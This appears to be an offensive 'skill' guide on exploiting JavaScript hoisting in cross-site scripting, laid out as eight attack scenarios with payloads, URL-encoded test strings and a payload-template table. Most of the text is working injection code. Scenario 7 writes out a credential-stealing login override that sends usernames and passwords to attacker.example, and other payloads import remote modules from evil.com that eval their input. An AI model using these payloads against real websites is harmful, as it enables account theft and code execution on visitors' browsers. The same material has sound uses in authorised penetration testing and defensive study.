JavaScript Hoisting XSS Attacks
This skill covers exploiting JavaScript hoisting mechanisms to execute arbitrary code in XSS scenarios, particularly when injection points occur after undeclared identifiers are used.
Understanding Hoisting in XSS Contexts
JavaScript hoisting moves declarations to the top of their scope before execution. In XSS scenarios, you can inject declarations that "fix" syntax errors, allowing your payload to execute.
Key Principle
If you can inject JavaScript after an undeclared object/function is used, you can:
- Declare the missing identifier in your injection
- Fix the syntax error that would otherwise stop execution
- Execute your malicious code before the error occurs
Hoisting Types
| Type | Behavior | Keywords |
|---|---|---|
| Value Hoisting | Use variable value before declaration | Function declarations |
| Declaration Hoisting | Reference variable before declaration (value = undefined) |
var |
| Lexical Hoisting | Declaration side effects occur before evaluation | let, const, class |
| Import Hoisting | Both type 1 and 4 behaviors | import statements |
Attack Scenarios
Scenario 1: Fixing Undefined Function Calls
When a function is called but not defined, inject the function declaration:
// Vulnerable code
vulnerableFunction('test', '<INJECTION>');
// Payload 1: Define function and execute code
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
// Payload 2: Alternative syntax
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
Scenario 2: Fixing Undefined Variables
When a variable is used but not declared:
// Vulnerable code
function myFunction(a,b){ return 1 };
myFunction(a, '<INJECTION>');
// Payload: Declare the missing variable
test'); var a = 1; alert(1);
Scenario 3: Class Declaration Workaround
Classes cannot be declared after use, but functions can:
// Vulnerable code
var variable = new unexploitableClass();
<INJECTION>
// Payload: Declare as function instead
function unexploitableClass() {
return 1;
}
alert(1);
Scenario 4: Undeclared Object Method Access
// Vulnerable code
x.y(1,INJECTION)
// Payload: Declare x as function, execute before y is resolved
alert(1));function x(){}//
// Result: x.y(1,alert(1));function x(){}//
// alert() executes before TypeError on y
Scenario 5: Nested Undeclared Methods
// Vulnerable code
x.y.z(1,INJECTION)
// Payload: Import x from external module
");import {x} from "https://example.com/module.js"//
// External module (module.js):
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
Scenario 6: Bypassing Try-Catch Exception Handling
When sinks are wrapped in try-catch, ReferenceError stops execution. Hoist the identifier to survive:
// Vulnerable code (wrapped in try-catch)
x.y(1,INJECT)
// Payload: Hoist x so parser doesn't throw
prompt()) ; function x(){} //
// Execution flow:
// 1. function x(){} is hoisted
// 2. prompt() executes
// 3. TypeError on y thrown AFTER payload runs
Scenario 7: Preempting Later Declarations (RXSS)
Lock a name with const before legitimate code declares it:
// Malicious code (runs first in inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later legitimate code (cannot override const)
function DoLogin(){ /* ... */ } // FAILS - const already bound
Important: If injecting via eval(), const/let are block-scoped. Inject a new <script> element for true global bindings.
Scenario 8: Dynamic Import with User-Controlled Specifiers
Server-side rendered apps may forward input into import(). With loaders like import-in-the-middle, hoisted imports execute before subsequent lines:
// If you control the import specifier
import('${userInput}');
// Attacker module executes before rest of code
// See CVE-2023-38704 for RCE in SSR contexts
Payload Generation
Use the bundled script to generate hoisting payloads:
python scripts/generate_hoisting_payloads.py --scenario <type> --payload <code>
See scripts/generate_hoisting_payloads.py for available scenarios and options.
Detection and Testing
Manual Testing Checklist
- Identify injection points in JavaScript context
- Check for undefined identifiers used before the injection point
- Test function hoisting:
')%3bfunction+name(){return+1}%3balert(1) - Test variable hoisting:
')%3bvar+name+%3d+1%3balert(1) - Test try-catch bypass:
alert(1));function+x(){}// - Test const preemption:
const+name+=+()=%3E{alert(1)}//
Automated Tools
- KNOXSS v3.6.5+: Includes "JS Injection with Single Quotes Fixing ReferenceError - Object Hoisting" and "Hoisting Override" test cases
- Run against RXSS contexts that throw
ReferenceError/TypeError
Common Patterns
| Pattern | Payload Template |
|---|---|
| Function hoist | ')%3bfunction+name(a,b){return+1}%3b<CODE> |
| Variable hoist | ')%3bvar+name+%3d+1%3b<CODE> |
| Try-catch bypass | <CODE>);function+name(){}// |
| Const preemption | const+name+=+()=%3E{<CODE>}// |
| Import hoist | "%3bimport+%7Bname%7D+from+"https://evil.com/m.js"// |
Limitations
- Properties are not hoisted:
test.cookie("leo", "INJECTION")cannot be fixed if injection is after the code - Syntax errors must be fixable: The script must parse successfully after injection
- Scope matters: Hoisting only works within the same scope
- Execution order: Your code must execute before the error occurs